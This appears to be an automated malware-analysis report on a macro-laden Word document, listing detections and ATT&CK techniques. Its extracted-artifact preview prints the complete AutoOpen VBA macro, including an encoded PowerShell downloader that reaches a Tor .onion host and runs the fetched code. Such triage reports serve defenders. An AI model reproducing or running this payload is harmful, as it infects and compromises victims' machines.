Office (OOXML) malware analysis — malicious · 435664fe63ef7478

MALICIOUS

Office (OOXML)

22.5 KB Created: 2014-04-06 22:02:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2015-09-20

MD5: 26845ce6ace2fe6099f5ff413e312a50 SHA-1: 3fd1a3a957f307464cd242fbb32313151b4f436b SHA-256: 435664fe63ef74785efe5ed0939da9dce2807974c52d7fd0ab031195abf45b46

352 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File T1140 Deobfuscate or Obfuscate T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen subroutine that utilizes WScript.Shell and references PowerShell. The script appears to be heavily obfuscated, but the presence of these objects strongly suggests an attempt to download and execute a second-stage payload. The reconstructed PowerShell command likely involves downloading a file and executing it, indicating a downloader or dropper functionality.

Heuristics 9

ClamAV: Doc.Virus.Pwshell-6755238-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Virus.Pwshell-6755238-0
VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
Set a = CreateObject("WScript.Shell")
```
PowerShell reference in VBA critical OLE_VBA_PS

PowerShell reference in VBA
Matched line in script
```
a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set a = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
AutoOpen macro low OLE_VBA_AUTOOPEN

AutoOpen macro
Matched line in script
```
Sub AutoOpen()
```
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	6632 bytes
SHA-256: `177164f52b05eccd60b403807dd75e7884fae17a14a65a622fb3d701d6918153`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 8 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() b = "JwBMAFgAVQBuAGYAcQBuACcAOwAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJwBKAGwAbgBsACcAOwAnAHIAWAByAFAARwBnAGcAYgAnADsAJABiAHkAIAA9ACAAKABnAGUAdAAtAHcAbQBpAG8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AQwBvAG0AcAB1AHQAZQByAFMAeQBzAHQAZQBtAFAAcgBvAGQAdQBjAHQAKQAuAFUAVQBJAEQAOwAnAGsAagBFAHYAaQBzAE0AcgAnADsAJwBCAGwAdwBGAEsAegBIAGcAeAAnADsAaQBmACAAKAAoAGcAcAAgAEgASwBDAFUAOgBcAFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AKQAgAC0AbQBhAHQAYwBoACAAJABiAHkAKQB7ADsAJwBCAHIATwBaAFkATABGAFYAWQAnADsAJwBpAGgAegBuAGsAbgBmAHQAYwBSAEwAJwA7ACgARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBpAGQAIAAkAHAAaQBkACkALgBLAGkAbABsACgAKQA7ACcAZQBNAEIAbgBCAFcAQwAnADsAJw" _ & "BDAGwATQBDAHYAbgBHAHoAJwA7AH0AOwAnAGsARgBxAGIARQBSAGoAYwBhAEsAJwA7ACcAYwBaAGQAZQBmAHYAJwA7AGYAdQBuAGMAdABpAG8AbgAgAGUAKAAkAG8AaABkACkAewA7ACcAZAByAFMAegBVAFMAcgBkACcAOwAnAEoAdgBGAGQAJwA7ACQAbQB0AGsAIAA9ACAAKAAoACgAaQBlAHgAIAAiAG4AcwBsAG8AbwBrAHUAcAAgAC0AcQB1AGUAcgB5AHQAeQBwAGUAPQB0AHgAdAAgACQAbwBoAGQAIAA4AC4AOAAuADgALgA4ACIAKQAgAC0AbQBhAHQAYwBoACAAJwAiACcAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcAIgAnACwAIAAnACcAKQBbADAAXQAuAFQAcgBpAG0AKAApADsAJwB3AEgAcABXAEkAUABaACcAOwAnAHIAWgBPAG0AeQBUACcAOwAkAGkAbAB1AGEALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbQB0AGsALAAgACQAYgBxAHYAdAApADsAJwBLAHEAcgBQAFkAJwA7ACcAdABDAGcATQBzACcAOwAkAHcAcwAgAD0AIAAkAHgAeQB1AC4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAGIAcQB2AHQAKQAuAEkAdABlAG0AcwAoACkAOwAnAEQAVgBSAFoAQwBNAFgAbgAnADsAJwBhAFYATQB1AEEAeQBtAEMARABvACcAOwAk" _ & "AHgAeQB1AC4ATgBhAG0AZQBTAHAAYQBjAGUAKAAkAGUAegBwAHIAKQAuAEMAbwBwAHkASABlAHIAZQAoACQAdwBzACwAIAAyADAAKQA7ACcATgBvAFkAYQBUAE0AZwBXAFYAJwA7ACcAVwBjAHoAbABhAGYARgBIAEkAJwA7AHIAZAAgACQAYgBxAHYAdAA7ACcAQQBKAGMAJwA7ACcAUgBsACcAOwB9ADsAJwBtAHcAUABWACcAOwAnAFgAWQBTACcAOwAnAGIAUwBSAGsATQAnADsAJwBHAEYAZQBaAEsAZQBNAHkAJwA7ACcAVgB0ACcAOwAnAGIAbABXAHYAeABFAFkAZABCACcAOwAkAGUAegBwAHIAIAA9ACAAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAIAArACAAJwBcACcAIAArACAAJABiAHkAOwAnAEgAVABDACcAOwAnAHoAZwBPAHcAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJABlAHoAcAByACkAKQB7ADsAJwBmAEEAWABLAGoAYQB1ACcAOwAnAGsARQBYAHgAJwA7ACQAdgBwAGoAcQAgAD0AIABOAGUAdwAtAEkAdABlAG0AIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAIAAtAFAAYQB0AGgAIAAkAGUAegBwAHIAOwAnAEcAVwBTAGIAQQAnADsAJwB2AE8AdgByAG" _ & "EAJwA7ACQAdgBwAGoAcQAuAEEAdAB0AHIAaQBiAHUAdABlAHMAIAA9ACAAIgBIAGkAZABkAGUAbgAiACwAIAAiAFMAeQBzAHQAZQBtACIALAAgACIATgBvAHQAQwBvAG4AdABlAG4AdABJAG4AZABlAHgAZQBkACIAOwAnAGEAbQBQAEMARwB5ACcAOwAnAEUASwBGAE0AJwA7AH0AOwAnAHMAQgAnADsAJwBSAFIAaQBJAFkAegAnADsAJwBiAHYAYwBDAGUAVABlAEwAVwAnADsAJwBOAGMATwBUAFkAbwBsAEMASQBCACcAOwAkAHYAdAB6AGcAPQAkAGUAegBwAHIAKwAgACcAXAB0AG8AcgAuAGUAeABlACcAOwAnAFIAbwBxAHMAdQBYAEUAJwA7ACcAZgBRAEcAQgBXAEcAdwB0ACcAOwAkAG8AdAA9ACQAZQB6AHAAcgArACAAJwBcAHAAbwBsAGkAcABvAC4AZQB4AGUAJwA7ACcASABYAEsAcwBSAGkAdgBmACcAOwAnAG8AeQBuAE4AYwBlAE8AbgBGAHgAeQAnADsAJABiAHEAdgB0AD0AJABlAHoAcAByACsAJwBcACcAKwAkAGIAeQArACcALgB6AGkAcAAnADsAJwBEAEoAbAByAEIAQgBaAFMAJwA7ACcASABsAEIAWgAnADsAJABpAGwAdQBhAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwA" _ & "aQBlAG4AdAA7ACcAUQBEAGMAcAB5ACcAOwAnAFEASgB4AGYAJwA7ACQAeAB5AHUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDACAAUwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuADsAJwB4AGUAUwB1ACcAOwAnAEIARQBKAGIAVQAnADsAJwBCAHQAbgBKAEsAVQBTAG0AJwA7ACcASAB1AEcAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB2AHQAegBnACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAbwB0ACkAKQB7ADsAJwBjAHgAagBCAE8AbQBaAHYARABrACcAOwAnAE4ASQBuAG4AJwA7AGUAIAAnAGkALgB2AGEAbgBrAGkAbgAuAGQAZQAnADsAJwBDAE8AWQBWAFgAUABEACcAOwAnAFEATABpAGsAVwBvAGQAVwBUACcAOwB9ADsAJwBuAGwASABTAGMASwAnADsAJwB0AEwAVgBXAHUAJwA7ACcARABHAFoASQBuAHMAdwBqACcAOwAnAGkAZQBhAHEAQgBuAFgAWABCAEwAJwA7AGkAZgAgACgAIQAoAFQAZQBzAHQALQBQAGEAdABoACAAJAB2AHQAegBnACkAIAAtAG8AcgAgACEAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAbwB0ACkAKQB7ADsAJwBUAGcAYQAnADsAJwByAFUARg" _ & "BRAGkAJwA7AGUAIAAnAGcAZwAuAGkAYgBpAHoALgBjAGMAJwA7ACcATABWAFMAcQBkAHMAJwA7ACcATQBrAGkAUwBRAEwAVgBKAHkAJwA7AH0AOwAnAHMARgBVAE0AdwBSAFEAagAnADsAJwBEAFoAJwA7ACcAZABiACcAOwAnAE4AbQBWAFgAagBaAGEATwAnADsAJABjAHYAZAB6AD0AJABlAHoAcAByACsAJwBcAHIAbwBhAG0AaQBuAGcAbABvAGcAJwA7ACcATABVAFAAcQAnADsAJwBnAEsAUQBnAEwAbQBZAGgAJwA7AHMAYQBwAHMAIAAkAHYAdAB6AGcAIAAtAEEAcgAgACIAIAAtAC0ATABvAGcAIABgACIAbgBvAHQAaQBjAGUAIABmAGkAbABlACAAJABjAHYAZAB6AGAAIgAiACAALQB3AGkAIABIAGkAZABkAGUAbgA7ACcAUABaAHgAbgBDAEkAJwA7ACcAcwBvAFMAeQBGAFMAeAB6ACcAOwBkAG8AewBzAGwAZQBlAHAAIAAxADsAJABiAGkAbQB5AD0AZwBjACAAJABjAHYAZAB6AH0AdwBoAGkAbABlACgAIQAoACQAYgBpAG0AeQAgAC0AbQBhAHQAYwBoACAAJwBCAG8AbwB0AHMAdAByAGEAcABwAGUAZAAgADEAMAAwACUAOgAgAEQAbwBuAGUALgAnACkAKQA7ACcATQBEAE4AaABvAFoAeABFACcAOwAnAEcAdQBNAHUAegBvAEMAdwBU" _ & "ACcAOwBzAGEAcABzACAAJABvAHQAIAAtAGEAIAAiAHMAbwBjAGsAcwBQAGEAcgBlAG4AdABQAHIAbwB4AHkAPQBsAG8AYwBhAGwAaABvAHMAdAA6ADkAMAA1ADAAIgAgAC0AdwBpACAASABpAGQAZABlAG4AOwAnAGMAZgByAHcAUABjACcAOwAnAEQAbABuAHoAeQB2AHcAQgBZAFEAJwA7AHMAbABlAGUAcAAgADcAOwAnAFQAQQB0AFMAQwB5ACcAOwAnAE4AZwBUAGkAJwA7ACQAcQBkAGEAeAA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUAByAG8AeAB5ACgAIgBsAG8AYwBhAGwAaABvAHMAdAA6ADgAMQAyADMAIgApADsAJwBBAHgAcABrACcAOwAnAHkAWQBlAFAAdwB3ACcAOwAkAHEAZABhAHgALgB1AHMAZQBEAGUAZgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwAcwAgAD0AIAAkAHQAcgB1AGUAOwAnAEsAYwBxAEwASABYAFgATgB4AFEAcwAnADsAJwBtAEIAVQBrAE4AZgB3AHMAZgBpAFgAJwA7ACQAaQBsAHUAYQAuAHAAcgBvAHgAeQA9ACQAcQBkAGEAeAA7ACcATgBuAFYAbABVAGEAagBjAGgAJwA7ACcAdABnAGkAegBBAEcAUgBDAEUAWABxACcAOwAkAHAAYgB0AHgAPQAnAG" _ & "gAdAB0AHAAOgAvAC8AcABvAHcAZQByAHcAbwByAG0AagBxAGoANAAyAGgAdQAuAG8AbgBpAG8AbgAvAGcAZQB0AC4AcABoAHAAPwBzAD0AcwBlAHQAdQBwACYAbQBvAG0APQAwADcANwA2AEIAMgAwADEALQA1ADEARABFAC0AMQAxAEMAQgAtAEEANwA4AEMALQA5AEMAMQBGADIANgBEADcANQBGAEIAOQAmAHUAaQBkAD0AJwAgACsAIAAkAGIAeQA7ACcAegBsACcAOwAnAHIASQBJAHYAQgBiAHkARgBuACcAOwB3AGgAaQBsAGUAKAAhACQAbgByAGMAYgApAHsAJABuAHIAYwBiAD0AJABpAGwAdQBhAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJABwAGIAdAB4ACkAfQA7ACcAVgBXAE0AJwA7ACcAVQBBAHEAUwAnADsAaQBmACAAKAAkAG4AcgBjAGIAIAAtAG4AZQAgACcAbgBvAG4AZQAnACkAewA7ACcAeQB5AGUAWQBmAG0AeABwAHMAcwAnADsAJwBlAFQAJwA7AGkAZQB4ACAAJABuAHIAYwBiADsAJwBvAEQAJwA7ACcASgBxAEUAZQBzAEQAcABnAGIASQAnADsAfQA7ACcAWQBzAEcAagB6AGIATgBiAGgASQB3ACcAOwA=" Set a = CreateObject("WScript.Shell") a.Run "powershell.exe" & " -noexit -encodedcommand " & b, 0, False End Sub
`vbaProject_00.bin`	vba-project	OOXML VBA project: word/vbaProject.bin	17920 bytes
SHA-256: `e78d09ccd8d863760c4a8fdde86c8f4cd6f1bf560fa6428e702dfd732cc8abeb`
Detection ClamAV: Doc.Virus.Pwshell-6755238-0 Obfuscation or payload: likely Carved artifact contains 8 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.